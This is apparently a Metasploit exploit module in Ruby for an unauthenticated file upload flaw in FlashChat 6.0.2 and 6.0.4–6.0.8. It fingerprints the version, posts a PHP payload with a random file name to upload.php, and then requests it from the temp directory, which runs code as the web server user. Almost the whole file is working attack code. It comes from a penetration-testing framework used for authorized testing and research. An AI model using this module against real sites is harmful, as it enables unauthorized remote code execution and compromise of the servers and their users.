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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "FlashChat Arbitrary File Upload",
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      'Description'    => %q{
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        This module exploits a file upload vulnerability found in FlashChat
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        versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
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        feature in order to upload malicious PHP files without authentication
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        which results in arbitrary remote code execution as the web server user.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'x-hayben21', # Discovery and PoC
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          'bcoles'  # Metasploit
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        ],
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      'References'     =>
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        [
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          ['OSVDB', '98233'],
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          ['EDB', '28709']
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        ],
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      'Payload'        =>
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        {
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          'BadChars'   => "\x00"
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        },
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      'Arch'           => ARCH_PHP,
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      'Platform'       => 'php',
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      'Targets'        =>
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        [
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          # Tested on FlashChat version 6.0.8
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          [ 'Generic (PHP Payload)', {} ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2013-10-04',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
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        ])
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  end
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  #
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  # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
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  #
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  def check
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    uri = normalize_uri(target_uri.path, '')
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    res = send_request_raw({'uri' => uri})
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    if not res
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      vprint_error("Connection timed out")
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      return Exploit::CheckCode::Unknown
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    end
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    version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''
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    if version.empty?
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      return Exploit::CheckCode::Unknown
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    end
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    vprint_status("Version found: #{version}")
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    if version =~ /6\.0\.(2|4|5|6|7|8)/
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      return Exploit::CheckCode::Appears
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    elsif version <= "6.0.8"
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      return Exploit::CheckCode::Detected
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  #
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  # Uploads our malicious file
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  # Stolen from havalite_upload_exec.rb
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  #
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  def upload(base)
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    fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
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    php   = "<?php #{payload.encoded} ?>"
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    data = Rex::MIME::Message.new
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    data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
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    post_data = data.to_s
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => normalize_uri(base, 'upload.php'),
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      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
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      'data'   => post_data
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    })
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    if not res
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      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
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    elsif res.code.to_i == 404
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      fail_with(Failure::NotFound, "#{peer} - No upload.php found")
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    elsif res.code.to_i == 500
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      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
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    end
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    return fname
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  end
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  #
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  # Executes our uploaded malicious file
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  # Stolen from havalite_upload_exec.rb
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  #
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  def exec(base, payload_fname)
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    res = send_request_raw({
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      'uri' => normalize_uri(base, 'temp', payload_fname)
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    })
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    if res and res.code == 404
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      fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
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    end
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  end
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  def exploit
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    base = target_uri.path
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    # upload
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    print_status("Uploading malicious file...")
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    fname = upload(base)
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    # register the file to clean
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    register_files_for_cleanup(fname)
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    # exec
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    print_status("Executing #{fname}...")
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    exec(base, fname)
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  end
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end
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